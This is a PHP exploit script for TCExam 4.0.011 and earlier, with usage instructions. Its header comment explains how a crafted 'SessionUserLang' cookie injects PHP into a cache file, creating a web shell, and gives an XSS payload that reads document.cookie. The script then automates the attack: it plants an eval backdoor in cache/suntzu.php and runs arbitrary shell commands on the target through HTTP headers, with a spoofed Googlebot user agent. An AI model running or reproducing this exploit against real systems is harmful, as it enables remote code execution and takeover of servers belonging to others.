tcexam-inject.txt

`<?php  
print_r('  
--------------------------------------------------------------------------  
TCExam <= 4.0.011 $_COOKIE["SessionUserLang"] shell injection exploit  
by rgod  
mail: retrog at alice dot it  
site: http://retrogod.altervista.org  
---------------------------------------------------------------------------  
');  
  
/*  
download site: http://sourceforge.net/projects/tcexam/  
  
vulnerable code in /shared/code/tce_tmx.php lines 92-110:  
...  
public function __construct($tmxfile, $language, $cachefile="") {  
// reset array  
$this->resource = array();  
// set selecteed language  
$this->language = strtoupper($language);  
// set filename for cache  
$this->cachefile = $cachefile;  
if (file_exists($this->cachefile)) {  
// read data from cache  
require_once($this->cachefile);  
$this->resource = $tmx;  
} else {  
if (!empty($this->cachefile)) {  
// open cache file  
file_put_contents($this->cachefile, "<"."?php\n".  
"// CACHE FILE FOR LANGUAGE: ".$language."\n".  
"// DATE: ".date("Y-m-d H:i:s")."\n".  
"// *** DELETE THIS FILE TO RELOAD DATA FROM TMX FILE ***\n", FILE_APPEND);  
}  
...  
  
$language argument is not checked for php injection, look at /shared/config/tce_config.php (various commets stripped):  
  
...  
if(isset($_REQUEST['lang'])  
AND (strlen($_REQUEST['lang']) == 2)  
AND (array_key_exists($_REQUEST['lang'],unserialize(K_AVAILABLE_LANGUAGES)))) {  
define ("K_USER_LANG", $_REQUEST['lang']);  
setcookie("SessionUserLang", K_USER_LANG, time() + K_COOKIE_EXPIRE, K_COOKIE_PATH, K_COOKIE_DOMAIN, K_COOKIE_SECURE);  
} elseif (isset($_COOKIE['SessionUserLang'])) {  
define ("K_USER_LANG", $_COOKIE['SessionUserLang']);  
} else {  
define ("K_USER_LANG", K_LANGUAGE);  
}  
require_once('../../shared/code/tce_tmx.php'); // TMX class  
$lang_resources = new TMXResourceBundle(K_PATH_TMX_FILE, K_USER_LANG, K_PATH_CACHE.basename(K_PATH_TMX_FILE, ".xml")."_".K_USER_LANG.".php"); // istantiate new TMXResourceBundle object  
$l = $lang_resources->getResource(); // language array  
...  
  
you can pass a special crafted 'SessionUserLang' cookie to create a new file in /cache folder  
and inject a newline and some php code inside of it, ex:  
  
...  
Cookie: SessionUserLang=%2F..%2F%0Asystem%28%24_GET%5BCMD%5D%29%3B%3F%3E%23%2F..%2Fsuntzu;  
...  
  
a new file called suntzu.php like this is created in /cache folder;  
  
<?php  
// CACHE FILE FOR LANGUAGE: /../  
system($_GET[CMD]);?>#/../suntzu  
// DATE: 2007-04-29 16:07:25  
// *** DELETE THIS FILE TO RELOAD DATA FROM TMX FILE ***  
  
  
// EOF ----------  
?>  
  
which is directly accessible, then  
you launch commands:  
  
http://[target]/[path_to_tcexam]/cache/suntzu.php?CMD=ls%20-la  
  
this works regardless of php.ini settings  
  
also I found some xss's because of this code /shared/config/tce_config.php near lines 208-211:  
  
...  
// --- get posted and get variables (to be compatible with register_globals off)  
foreach ($_REQUEST as $postkey => $postvalue) {  
$$postkey = $postvalue;  
}  
...  
which allows to overwrite the $_SERVER[] array and God only knows what:  
  
ex:  
http://[target]/[path]/public/code/index.php?_SERVER[SCRIPT_NAME]="><script>alert(document.cookie)</script>  
  
*/  
  
if ($argc<4) {  
print_r('  
---------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path cmd OPTIONS  
host: target server (ip/hostname)  
path: path to tcexam  
cmd: a shell command  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /tcexam/ ls -la -P1.1.1.1:80  
php '.$argv[0].' localhost /tcexam/ ls -la -p81  
---------------------------------------------------------------------------  
');  
die;  
}  
  
error_reporting(7);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function send($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
$parts[1]=(int)$parts[1];  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
$port=80;  
$proxy="";  
  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=(int)str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$exploit=urlencode("/../\neval(\$_SERVER[HTTP_CMD]);?>#/../suntzu");  
$packet ="GET ".$p."public/code/index.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Cookie: SessionUserLang=$exploit;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
send($packet);  
sleep(1);  
  
$packet ="GET ".$p."cache/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="CMD: echo '_delim_';error_reporting(7);set_time_limit(0);passthru(\$_SERVER[HTTP_C]);echo '_delim_';\r\n";  
$packet.="C: ".$cmd."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
send($packet);  
if (eregi("_delim_",$html)){  
$temp=explode("_delim_",$html);  
echo $temp[1];  
}  
else {echo "exploit failed...see html...\n$html";}  
?>  
`